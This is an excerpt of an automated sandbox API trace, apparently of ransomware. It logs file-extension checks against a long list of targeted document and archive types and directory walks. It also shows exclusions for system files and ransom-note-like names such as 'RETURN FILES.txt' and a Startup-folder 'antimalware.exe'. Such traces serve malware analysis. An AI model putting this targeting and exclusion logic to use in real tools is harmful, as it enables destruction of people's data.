	[0155.088] lstrcmpiW (lpString1=".pptx", lpString2="e.xml") returned -1
	[0155.088] lstrlenW (lpString=".prn") returned 4
	[0155.088] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".ps") returned 3
	[0155.088] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0155.088] lstrlenW (lpString=".psb") returned 4
	[0155.088] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".psd") returned 4
	[0155.088] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".pst") returned 4
	[0155.088] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".ptx") returned 4
	[0155.088] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".pub") returned 4
	[0155.088] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".pwm") returned 4
	[0155.088] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".pxr") returned 4
	[0155.089] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".py") returned 3
	[0155.089] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0155.089] lstrlenW (lpString=".qt") returned 3
	[0155.089] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0155.089] lstrlenW (lpString=".r3d") returned 4
	[0155.089] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".raf") returned 4
	[0155.089] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rar") returned 4
	[0155.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".raw") returned 4
	[0155.089] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rdf") returned 4
	[0155.089] lstrcmpiW (lpString1=".rdf", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rgbe") returned 5
	[0155.089] lstrcmpiW (lpString1=".rgbe", lpString2="e.xml") returned -1
	[0155.089] lstrlenW (lpString=".rle") returned 4
	[0155.089] lstrcmpiW (lpString1=".rle", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rqy") returned 4
	[0155.089] lstrcmpiW (lpString1=".rqy", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rss") returned 4
	[0155.089] lstrcmpiW (lpString1=".rss", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rtf") returned 4
	[0155.089] lstrcmpiW (lpString1=".rtf", lpString2=".xml") returned -1
	[0155.089] lstrlenW (lpString=".rw2") returned 4
	[0155.089] lstrcmpiW (lpString1=".rw2", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".rwl") returned 4
	[0155.090] lstrcmpiW (lpString1=".rwl", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".safe") returned 5
	[0155.090] lstrcmpiW (lpString1=".safe", lpString2="e.xml") returned -1
	[0155.090] lstrlenW (lpString=".sct") returned 4
	[0155.090] lstrcmpiW (lpString1=".sct", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".sdpx") returned 5
	[0155.090] lstrcmpiW (lpString1=".sdpx", lpString2="e.xml") returned -1
	[0155.090] lstrlenW (lpString=".shtm") returned 5
	[0155.090] lstrcmpiW (lpString1=".shtm", lpString2="e.xml") returned -1
	[0155.090] lstrlenW (lpString=".shtml") returned 6
	[0155.090] lstrcmpiW (lpString1=".shtml", lpString2="de.xml") returned -1
	[0155.090] lstrlenW (lpString=".slk") returned 4
	[0155.090] lstrcmpiW (lpString1=".slk", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".sln") returned 4
	[0155.090] lstrcmpiW (lpString1=".sln", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".sql") returned 4
	[0155.090] lstrcmpiW (lpString1=".sql", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".sr2") returned 4
	[0155.090] lstrcmpiW (lpString1=".sr2", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".srf") returned 4
	[0155.090] lstrcmpiW (lpString1=".srf", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".srw") returned 4
	[0155.090] lstrcmpiW (lpString1=".srw", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".ssi") returned 4
	[0155.090] lstrcmpiW (lpString1=".ssi", lpString2=".xml") returned -1
	[0155.090] lstrlenW (lpString=".st") returned 3
	[0155.090] lstrcmpiW (lpString1=".st", lpString2="xml") returned -1
	[0155.090] lstrlenW (lpString=".stm") returned 4
	[0155.091] lstrcmpiW (lpString1=".stm", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".svg") returned 4
	[0155.091] lstrcmpiW (lpString1=".svg", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".svgz") returned 5
	[0155.091] lstrcmpiW (lpString1=".svgz", lpString2="e.xml") returned -1
	[0155.091] lstrlenW (lpString=".swf") returned 4
	[0155.091] lstrcmpiW (lpString1=".swf", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tab") returned 4
	[0155.091] lstrcmpiW (lpString1=".tab", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tar") returned 4
	[0155.091] lstrcmpiW (lpString1=".tar", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tbb") returned 4
	[0155.091] lstrcmpiW (lpString1=".tbb", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tbi") returned 4
	[0155.091] lstrcmpiW (lpString1=".tbi", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tbk") returned 4
	[0155.091] lstrcmpiW (lpString1=".tbk", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tdi") returned 4
	[0155.091] lstrcmpiW (lpString1=".tdi", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tga") returned 4
	[0155.091] lstrcmpiW (lpString1=".tga", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".thmx") returned 5
	[0155.091] lstrcmpiW (lpString1=".thmx", lpString2="e.xml") returned -1
	[0155.091] lstrlenW (lpString=".tif") returned 4
	[0155.091] lstrcmpiW (lpString1=".tif", lpString2=".xml") returned -1
	[0155.091] lstrlenW (lpString=".tiff") returned 5
	[0155.091] lstrcmpiW (lpString1=".tiff", lpString2="e.xml") returned -1
	[0155.091] lstrlenW (lpString=".tld") returned 4
	[0155.091] lstrcmpiW (lpString1=".tld", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".torrent") returned 8
	[0155.092] lstrcmpiW (lpString1=".torrent", lpString2="rade.xml") returned -1
	[0155.092] lstrlenW (lpString=".tpl") returned 4
	[0155.092] lstrcmpiW (lpString1=".tpl", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".txt") returned 4
	[0155.092] lstrcmpiW (lpString1=".txt", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".u3d") returned 4
	[0155.092] lstrcmpiW (lpString1=".u3d", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".udl") returned 4
	[0155.092] lstrcmpiW (lpString1=".udl", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".uxdc") returned 5
	[0155.092] lstrcmpiW (lpString1=".uxdc", lpString2="e.xml") returned -1
	[0155.092] lstrlenW (lpString=".vb") returned 3
	[0155.092] lstrcmpiW (lpString1=".vb", lpString2="xml") returned -1
	[0155.092] lstrlenW (lpString=".vbs") returned 4
	[0155.092] lstrcmpiW (lpString1=".vbs", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vcs") returned 4
	[0155.092] lstrcmpiW (lpString1=".vcs", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vda") returned 4
	[0155.092] lstrcmpiW (lpString1=".vda", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vdr") returned 4
	[0155.092] lstrcmpiW (lpString1=".vdr", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vdw") returned 4
	[0155.092] lstrcmpiW (lpString1=".vdw", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vdx") returned 4
	[0155.092] lstrcmpiW (lpString1=".vdx", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vrp") returned 4
	[0155.092] lstrcmpiW (lpString1=".vrp", lpString2=".xml") returned -1
	[0155.092] lstrlenW (lpString=".vsd") returned 4
	[0155.093] lstrcmpiW (lpString1=".vsd", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vss") returned 4
	[0155.093] lstrcmpiW (lpString1=".vss", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vst") returned 4
	[0155.093] lstrcmpiW (lpString1=".vst", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vsw") returned 4
	[0155.093] lstrcmpiW (lpString1=".vsw", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vsx") returned 4
	[0155.093] lstrcmpiW (lpString1=".vsx", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vtm") returned 4
	[0155.093] lstrcmpiW (lpString1=".vtm", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".vtml") returned 5
	[0155.093] lstrcmpiW (lpString1=".vtml", lpString2="e.xml") returned -1
	[0155.093] lstrlenW (lpString=".vtx") returned 4
	[0155.093] lstrcmpiW (lpString1=".vtx", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wb2") returned 4
	[0155.093] lstrcmpiW (lpString1=".wb2", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wav") returned 4
	[0155.093] lstrcmpiW (lpString1=".wav", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wbm") returned 4
	[0155.093] lstrcmpiW (lpString1=".wbm", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wbmp") returned 5
	[0155.093] lstrcmpiW (lpString1=".wbmp", lpString2="e.xml") returned -1
	[0155.093] lstrlenW (lpString=".wim") returned 4
	[0155.093] lstrcmpiW (lpString1=".wim", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wmf") returned 4
	[0155.093] lstrcmpiW (lpString1=".wmf", lpString2=".xml") returned -1
	[0155.093] lstrlenW (lpString=".wml") returned 4
	[0155.094] lstrcmpiW (lpString1=".wml", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".wmv") returned 4
	[0155.094] lstrcmpiW (lpString1=".wmv", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".wpd") returned 4
	[0155.094] lstrcmpiW (lpString1=".wpd", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".wps") returned 4
	[0155.094] lstrcmpiW (lpString1=".wps", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".x3f") returned 4
	[0155.094] lstrcmpiW (lpString1=".x3f", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".xl") returned 3
	[0155.094] lstrcmpiW (lpString1=".xl", lpString2="xml") returned -1
	[0155.094] lstrlenW (lpString=".xla") returned 4
	[0155.094] lstrcmpiW (lpString1=".xla", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".xlam") returned 5
	[0155.094] lstrcmpiW (lpString1=".xlam", lpString2="e.xml") returned -1
	[0155.094] lstrlenW (lpString=".xlk") returned 4
	[0155.094] lstrcmpiW (lpString1=".xlk", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".xlm") returned 4
	[0155.094] lstrcmpiW (lpString1=".xlm", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".xls") returned 4
	[0155.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0155.094] lstrlenW (lpString=".xlsb") returned 5
	[0155.094] lstrcmpiW (lpString1=".xlsb", lpString2="e.xml") returned -1
	[0155.094] lstrlenW (lpString=".xlsm") returned 5
	[0155.094] lstrcmpiW (lpString1=".xlsm", lpString2="e.xml") returned -1
	[0155.094] lstrlenW (lpString=".xlsx") returned 5
	[0155.094] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0155.094] lstrlenW (lpString=".xlt") returned 4
	[0155.094] lstrcmpiW (lpString1=".xlt", lpString2=".xml") returned -1
	[0155.095] lstrlenW (lpString=".xltm") returned 5
	[0155.095] lstrcmpiW (lpString1=".xltm", lpString2="e.xml") returned -1
	[0155.095] lstrlenW (lpString=".xltx") returned 5
	[0155.095] lstrcmpiW (lpString1=".xltx", lpString2="e.xml") returned -1
	[0155.095] lstrlenW (lpString=".xlw") returned 4
	[0155.095] lstrcmpiW (lpString1=".xlw", lpString2=".xml") returned -1
	[0155.095] lstrlenW (lpString=".xml") returned 4
	[0155.095] lstrcmpiW (lpString1=".xml", lpString2=".xml") returned 0
	[0155.095] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0155.095] lstrlenW (lpString=".yG") returned 3
	[0155.095] lstrcmpiW (lpString1=".yG", lpString2="xml") returned -1
	[0155.095] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0155.095] lstrcmpiW (lpString1="boot.ini", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="bootfont.bin", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="ntldr", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="ntdetect.com", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="io.sys", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="Info.hta", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrcmpiW (lpString1="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpString2="toastbeginupgrade.xml") returned -1
	[0155.095] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml") returned 122
	[0155.095] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.095] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.096] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.096] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.096] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0155.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.097] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES") returned 100
	[0155.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.098] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.098] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.099] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0155.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.099] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX") returned 100
	[0155.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0155.100] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.100] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.100] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.100] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.100] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.101] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.101] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0155.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.101] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
	[0155.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.102] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US") returned 100
